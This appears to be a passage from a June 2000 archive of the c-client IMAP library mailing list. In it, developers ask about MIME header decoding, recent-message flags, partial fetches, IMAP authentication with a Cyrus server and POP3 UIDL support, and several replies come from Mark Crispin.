what the header you mentioned is. -- Jacob Morzinski jmorzins@mit.edu From pinedev@shivax2.cac.washington.edu Sun Jun 11 21:23:58 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Sun, 11 Jun 2000 21:23:58 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id VAA19568 for ; Sun, 11 Jun 2000 21:23:57 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id VAA08963; Sun, 11 Jun 2000 21:23:55 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id VAA26487; Sun, 11 Jun 2000 21:23:34 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id VAA39614 for ; Sun, 11 Jun 2000 21:22:57 -0700 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxu3.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id VAA23994 for ; Sun, 11 Jun 2000 21:22:57 -0700 Received: from stratus.swi.com.br (IDENT:root@stratus.swi.com.br [200.203.204.140]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id VAA27604; Sun, 11 Jun 2000 21:22:52 -0700 Received: from speedy.swi.com.br (chaos@speedy.swi.com.br [200.203.204.150]) by stratus.swi.com.br (8.9.3/8.9.3) with ESMTP id BAA26407; Mon, 12 Jun 2000 01:24:32 -0300 Message-Id: <200006120424.BAA26407@stratus.swi.com.br> Date: Mon, 12 Jun 2000 01:24:32 -0300 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Raul Dias To: MRC@CAC.Washington.EDU, Jacob Morzinski Cc: Subject: Re: decode Header Content-Type: text/plain; charset="ISO-8859-1" Content-Disposition: inline Content-Transfer-Encoding: 7bit Mime-Version: 1.0 X-Local-Destination: c-client@CAC.Washington.EDU X-Local-Origin: chaos@swi.com.br X-Secret: http://www.swi.com.br/~chaos/cmc/cmc_secret X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN >On Sun, 11 Jun 2000, Raul Dias wrote: >> What kind of encode is the following text: >> =?ISO-8859-1?Q?F=E1bio_Oliv=E9_Leite?= > > >You should read RFC 2047 (MIME Part Three: >Message Header Extensions for Non-ASCII Text). >It describes what the header you mentioned is. > Ok, is rfc822_qprint () suppose to decode it? It either leave the "=?ISO-8859-1?Q?" part in the message (the middle is decoded right) or it generates a segmentation fault. I am using perl's Mail::Cclient, so the core is probably caused by it. Right now I am using a regex to clean this up. Thanks for you attention, Raul Dias From pinedev@shivax2.cac.washington.edu Sun Jun 11 23:07:12 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Sun, 11 Jun 2000 23:07:12 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id XAA19076 for ; Sun, 11 Jun 2000 23:07:11 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id XAA29464; Sun, 11 Jun 2000 23:07:09 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id XAA10043; Sun, 11 Jun 2000 23:06:55 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id XAA20518 for ; Sun, 11 Jun 2000 23:06:21 -0700 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxu3.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id XAA30917 for ; Sun, 11 Jun 2000 23:06:20 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (filop@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id XAA29449 for ; Sun, 11 Jun 2000 23:06:20 -0700 Message-Id: Date: Sun, 11 Jun 2000 23:06:10 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Raul Dias Cc: Jacob Morzinski , c-client@CAC.Washington.EDU Subject: Re: decode Header In-Reply-To: <200006120424.BAA26407@stratus.swi.com.br> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Mon, 12 Jun 2000, Raul Dias wrote: > is rfc822_qprint () suppose to decode it? No. rfc822_qprint() decodes quoted-printable data. This is MIME2 data, which is different. utf8_mime2() will convert it into UTF-8. -- Mark -- From pinedev@shivax2.cac.washington.edu Fri Jun 16 07:31:49 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Fri, 16 Jun 2000 07:31:49 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id HAA12779 for ; Fri, 16 Jun 2000 07:31:48 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id HAA15616; Fri, 16 Jun 2000 07:31:45 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id HAA21382; Fri, 16 Jun 2000 07:31:04 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id HAA26178 for ; Fri, 16 Jun 2000 07:29:17 -0700 Received: from hermes.atos-group.com (hermes.atos-group.com [160.92.18.9]) by mxu3.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id HAA17160 for ; Fri, 16 Jun 2000 07:29:14 -0700 Received: by hermes.atos-group.com with Internet Mail Service (5.5.2448.0) id ; Fri, 16 Jun 2000 16:29:05 +0200 Message-Id: Date: Fri, 16 Jun 2000 16:29:03 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: LIAGRE Arnaud To: c-client@u.washington.edu Subject: recent mails ? MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hello, I have some problem with the recent mail functions. I have created a function that check for the first recent mail of a mailbox. Even though there are new mails (stream->recent > 0), the value returned by mail_elt (stream, i)->recent is always 0. Can someone help me to know why none of the value is set to 1 ? Below, you can find my source code for the function : int i, recent; for (i = 1; i <= wor.msg_imap->nmsgs; i++) { recent = mail_elt(wor.msg_imap, i)->recent ? 1:0; if (recent == 1 || (mail_elt(wor.msg_imap, i)->searched)) return i; } return VM_DOSSIER_VIDE; Best regards, aL. -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Sun Jun 18 03:12:30 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Sun, 18 Jun 2000 03:12:30 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id DAA19955 for ; Sun, 18 Jun 2000 03:12:29 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id DAA17946; Sun, 18 Jun 2000 03:12:27 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id DAA29807; Sun, 18 Jun 2000 03:12:11 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id DAA20332 for ; Sun, 18 Jun 2000 03:10:29 -0700 Received: from blount.mail.mindspring.net (blount.mail.mindspring.net [207.69.200.226]) by mxu2.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id DAA19447 for ; Sun, 18 Jun 2000 03:10:29 -0700 Received: from mindspring.com (user-33qt09q.dialup.mindspring.com [199.174.129.58]) by blount.mail.mindspring.net (8.9.3/8.8.5) with ESMTP id GAA30667 for ; Sun, 18 Jun 2000 06:10:27 -0400 (EDT) Message-Id: <394CA012.B65CF048@mindspring.com> Date: Sun, 18 Jun 2000 05:10:26 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: John-Paul Robinson To: C-Client Interest List Subject: mail_partial_text and mailgets MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Sender: itsjpr@mindspring.com X-Accept-Language: de, en X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I'm attempting to use mail_partial_fetch() in order to throttle message downloads. This function requires that a mailgets function be defined. In order to understand the mailgets functionality, I'm experimenting with the dos_default_gets() function in a slightly modified imapcopy.c. (I've modified msg_string_init() to loop on mail_partial_text() to load the message instead of relying on mail_fetchheader_full's pre-fetchtext flag.) I can't seem to figure out what is going wrong with the partial fetch. It appears to read the message in the 500 byte increments I've specified, but when I go to read the STRING in mail_append_full() the size is 0, instead of the corret message size. It looks like the rest of the STRING data contains the message, though. The zero size causes a zero-length message to be appended to the destination mailbox. What are the requirements for the mailgets function when doing partial fetching? I chose the dos_default_gets() because it is relatively simple. Is more complexity required for partial fetching. I tried looking at the mailpartial.c in pine but I couldn't weed out the basic functionality of mailgets from it. Thanks for any hints, ...john-paul -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Sun Jun 18 18:33:06 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Sun, 18 Jun 2000 18:33:05 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id SAA32267 for ; Sun, 18 Jun 2000 18:33:04 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id SAA32675; Sun, 18 Jun 2000 18:33:02 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id SAA22099; Sun, 18 Jun 2000 18:32:42 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id SAA23092 for ; Sun, 18 Jun 2000 18:31:39 -0700 Received: from maynard.mail.mindspring.net (maynard.mail.mindspring.net [207.69.200.243]) by mxu3.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id SAA02828 for ; Sun, 18 Jun 2000 18:31:39 -0700 Received: from mindspring.com (user-33qt5ck.dialup.mindspring.com [199.174.149.148]) by maynard.mail.mindspring.net (8.9.3/8.8.5) with ESMTP id VAA07973 for ; Sun, 18 Jun 2000 21:31:11 -0400 (EDT) Message-Id: <394D77D1.95983D95@mindspring.com> Date: Sun, 18 Jun 2000 20:30:57 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: John-Paul Robinson To: C-Client Interest List Subject: Re: mail_partial_text and mailgets References: <394CA012.B65CF048@mindspring.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Sender: itsjpr@mindspring.com X-Accept-Language: de, en X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Okay, I spent some more quality time with mail_partial_text() today. Is the reason that the mail_partial_* functions require a mailgets function because this is the only way that the partial data can be returned to the main application? In other words, the mailgets serves as a callback to return the requested data from the mail_partial_* functions. It appears that the mail_partial_* functions handle constructing the partial request for all but the imap4r1 driver. They do this by calling the text() driver function, as a result the the entire message is loaded into into the cache. They then call mailgets to return the part requested by the caller in a STRING. The imap driver provides it's own msgdata function, and, in the case of partial fetches, calls the mailgets with a network stream without loading the data in the the message cache (which it would normally do for other calls). So, I have two questions. The first is, if I want to do partial fetches on an imap connection, do I need to construct the message myself from the char strings read through mailgets? Is it possible to load that message into the cache once it is constructed, since the whole point of the exercise is to avoid retrieving the entire message? The second question is do I need to consider the type of readfn_t function sent to mailgets based on the data source, e.g. imap_parse_string calls mailgets with netgetbuffer for literals and mailread for quoted strings, but the rest of the drivers always send a mailread? Does it make a difference or is it not an issue because the mailgets only invokes whichever function is passed and then works with the returned char buffer? Thanks, ...john-paul John-Paul Robinson wrote: > > What are the requirements for the mailgets function when doing partial > fetching? I chose the dos_default_gets() because it is relatively > simple. Is more complexity required for partial fetching. I tried > looking at the mailpartial.c in pine but I couldn't weed out the basic > functionality of mailgets from it. > From pinedev@shivax2.cac.washington.edu Mon Jun 19 00:39:38 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Mon, 19 Jun 2000 00:39:38 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id AAA23554 for ; Mon, 19 Jun 2000 00:39:37 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id AAA24557; Mon, 19 Jun 2000 00:39:34 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id AAA14244; Mon, 19 Jun 2000 00:39:17 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id AAA37146 for ; Mon, 19 Jun 2000 00:38:20 -0700 Received: from gatekeeper.polymedia.com.hk (gatekeeper.polymedia.com.hk [168.70.195.137]) by mxu3.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with SMTP id AAA26699 for ; Mon, 19 Jun 2000 00:38:10 -0700 Received: (qmail 27943 invoked from network); 19 Jun 2000 07:37:52 -0000 Received: from alpha.polymedia.com.hk (168.70.195.171) by gate.polymedia.com.hk with SMTP; 19 Jun 2000 07:37:52 -0000 Received: from netdefence.com ([168.70.195.184]) by alpha.polymedia.com.hk (Netscape Messaging Server 3.5) with ESMTP id AAA3AF5 for ; Mon, 19 Jun 2000 15:37:51 +0800 Message-Id: <394DCDCD.D463BE4D@netdefence.com> Date: Mon, 19 Jun 2000 15:37:50 +0800 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Neil Chan" To: c-client@u.washington.edu Subject: AUTHENTICATE problem MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Accept-Language: en X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi, I have compiled uw-imapd clients into a php enabled apache server and a Cyrus IMAP server on another machine. When I used "telnet host 143" and type "a01 login xxx yyy", the authentication with Cyrus succeeded. However, I got the following log when php function imap_open is used. [26599]: recv: "* OK tpot012 Cyrus IMAP4 v1.6.22 server ready", host: imapserver [26599]: send: "00000001 AUTHENTICATE LOGIN", host: imapserver [26599]: recv: "00000001 NO no mechanism available", host: imapserver [26599]: send: "00000001 NO Authentication failure: No reply or Bad Communication with mail server", host: webserver [26599]: Access Denied: user="imapuser" from client webserver[192.168.1.1] attempted t o to access server imapserver[192.168.1.2] It is noted the imap_open tried to use the strings "0000001 AUTHENTICATE LOGIN" and is reject by Cyrus since there is not any auth method called "LOGIN" is supported. Although imap_open generate message above but it still managed to authenticate successfully because it will try other login method (a01 login xxx yyy, I guessed) after failure. However, now I want to used a imap proxy in between the web and imap server. But the proxy failed because it immediately drop the connection after receiving the tagged "NO" respones from imap server. In short , I want to make the c-client directly use the LOGIN command (a01 login xxx yyy) without using AUTHENTICATE command first. Could anyone tell me which function should be modified and how to do so? My knowledge with c-client and C is limited and any pointer is appreciated. Also, I would like to know if "0000001 AUTHENTICATE LOGIN" is a valid imap client command or not. Thank you. Regards, Neil -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Jun 19 13:23:59 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Mon, 19 Jun 2000 13:23:59 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id NAA21316 for ; Mon, 19 Jun 2000 13:23:57 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id NAA12573; Mon, 19 Jun 2000 13:23:55 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id NAA06157; Mon, 19 Jun 2000 13:22:57 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id NAA20592 for ; Mon, 19 Jun 2000 13:20:04 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (weiner@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu1.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id NAA32319 for ; Mon, 19 Jun 2000 13:19:59 -0700 Message-Id: Date: Mon, 19 Jun 2000 13:17:44 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Neil Chan Cc: c-client@u.washington.edu Subject: re: AUTHENTICATE problem In-Reply-To: <394DCDCD.D463BE4D@netdefence.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN c-client will only do an "AUTHENTICATE LOGIN" if the server advertises AUTH=LOGIN in the CAPABILITY list. It will never send it otherwise. I didn't see any CAPABILITY coming back from the Cyrus server in your example, so my guess is that the IMAP proxy is to blame. From pinedev@shivax2.cac.washington.edu Mon Jun 19 13:35:06 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Mon, 19 Jun 2000 13:35:06 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id NAA21926 for ; Mon, 19 Jun 2000 13:35:05 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id NAA27626; Mon, 19 Jun 2000 13:35:03 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id NAA06602; Mon, 19 Jun 2000 13:34:46 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id NAA31218 for ; Mon, 19 Jun 2000 13:33:15 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (bwi@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu3.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id NAA18150 for ; Mon, 19 Jun 2000 13:33:15 -0700 Message-Id: Date: Mon, 19 Jun 2000 13:23:12 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: John-Paul Robinson Cc: C-Client Interest List Subject: re: mail_partial_text and mailgets In-Reply-To: <394CA012.B65CF048@mindspring.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Sun, 18 Jun 2000 05:10:26 -0500, John-Paul Robinson wrote: > I can't seem to figure out what is going wrong with the partial fetch. > It appears to read the message in the 500 byte increments I've > specified, but when I go to read the STRING in mail_append_full() the > size is 0, instead of the corret message size. That's because you have to set up the message size in your msg_string_init(). At the minimum, you have to set s->size to the value of the size argument to msg_string_init(). I think that you will find it to be very difficult to tie a mailgets function to a STRING structure. The reason is that the mailgets function is called by the IMAP client code to read things in, whereas the STRING structure's methods are called by mail_append() to write things out. You would need to write a coroutine to do this, and C doesn't have coroutines (you can't longjump() back and forth, you can only do it one way). Consequently, you have to read the message in first, buffer it someplace, and then write it from the buffer. From pinedev@shivax2.cac.washington.edu Mon Jun 19 15:39:36 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Mon, 19 Jun 2000 15:39:36 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id PAA17726 for ; Mon, 19 Jun 2000 15:39:35 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id PAA31864; Mon, 19 Jun 2000 15:39:33 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id PAA12243; Mon, 19 Jun 2000 15:39:09 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id PAA23672 for ; Mon, 19 Jun 2000 15:35:48 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (msj@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu1.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id PAA25182 for ; Mon, 19 Jun 2000 15:35:47 -0700 Message-Id: Date: Mon, 19 Jun 2000 15:28:05 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: John-Paul Robinson Cc: C-Client Interest List Subject: Re: mail_partial_text and mailgets In-Reply-To: <394D77D1.95983D95@mindspring.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Sun, 18 Jun 2000 20:30:57 -0500, John-Paul Robinson wrote: > if I want to do partial fetches > on an imap connection, do I need to construct the message myself from > the char strings read through mailgets? Yes. > Is it possible to load that > message into the cache once it is constructed, since the whole point of > the exercise is to avoid retrieving the entire message? Yes. Use function imap_cache() for this purpose. Note that you can only do this for IMAP streams; do not use it for any other type of stream. However, in general, there is no point to doing a partial fetch except with IMAP streams. > The second question is do I need to consider the type of readfn_t > function sent to mailgets based on the data source No. Or, at least, not in a properly written mailgets function. > imap_parse_string calls mailgets with netgetbuffer for literals and > mailread for quoted strings, but the rest of the drivers always send a > mailread? That's because literals are of potentially enormous size. That is not the same with quoted strings. With other drivers, the data is in memory anyway. > Does it make a difference or is it not an issue because the > mailgets only invokes whichever function is passed and then works with > the returned char buffer? It is not an issue. From pinedev@shivax2.cac.washington.edu Wed Jun 28 03:14:13 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Wed, 28 Jun 2000 03:14:12 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id DAA09071 for ; Wed, 28 Jun 2000 03:14:11 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id DAA26004; Wed, 28 Jun 2000 03:14:09 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id DAA21139; Wed, 28 Jun 2000 03:13:52 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id DAA48806 for ; Wed, 28 Jun 2000 03:12:12 -0700 Received: from phy.hw.ac.uk (root@fhada.phy.hw.ac.uk [137.195.28.12]) by mxu1.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id DAA16913 for ; Wed, 28 Jun 2000 03:12:11 -0700 Received: from pc166.phy.hw.ac.uk (karsten@matterhorn.phy.hw.ac.uk [137.195.29.249]) by phy.hw.ac.uk (8.9.3/8.9.3) with ESMTP id LAA24889 for ; Wed, 28 Jun 2000 11:11:57 +0100 (BST) Message-Id: <200006281011.LAA24889@phy.hw.ac.uk> Date: Wed, 28 Jun 2000 11:12:08 +0100 (GMT) Reply-To: karsten@phy.hw.ac.uk Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Karsten Ballueder To: c-client Subject: UIDL support for POP3 - a patch anyone? MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Content-Transfer-Encoding: QUOTED-PRINTABLE Content-Disposition: INLINE X-Face: &dD[PF]+xd[=UM/+Kck=s[Toj/_GKiL&}*"uCT]>saEa5@Ux-P?vpT~1[<'A`Kh~C0V/Q>kj)>t]rT9g`ez2rkK3y[\,>2*A^9BRDuD!y3e~Kw%_-a)T&OfLn<,W?qQ!$Hue;?ZF>hQI9~R=Cd|PGg Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 29 Jun 2000 08:18:54 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id IAA16299 for ; Thu, 29 Jun 2000 08:18:53 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id IAA20182; Thu, 29 Jun 2000 08:18:51 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id IAA06225; Thu, 29 Jun 2000 08:18:28 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id IAA55080 for ; Thu, 29 Jun 2000 08:16:40 -0700 Received: from alfred.cc.uottawa.ca (alfred.cc.uottawa.ca [137.122.6.40]) by mxu1.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id IAA28412 for ; Thu, 29 Jun 2000 08:16:40 -0700 Received: from mmaster (mmaster.com.uottawa.ca [137.122.106.105]) by alfred.cc.uottawa.ca (8.9.1/8.9.1) with ESMTP id LAA19846 for ; Thu, 29 Jun 2000 11:16:39 -0400 Message-Id: <200006291516.LAA19846@alfred.cc.uottawa.ca> Date: Thu, 29 Jun 2000 11:16:25 -0400 Reply-To: master@athens.cc.uottawa.ca Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Master" To: c-client@u.washington.edu Subject: Format of mbx mailbox 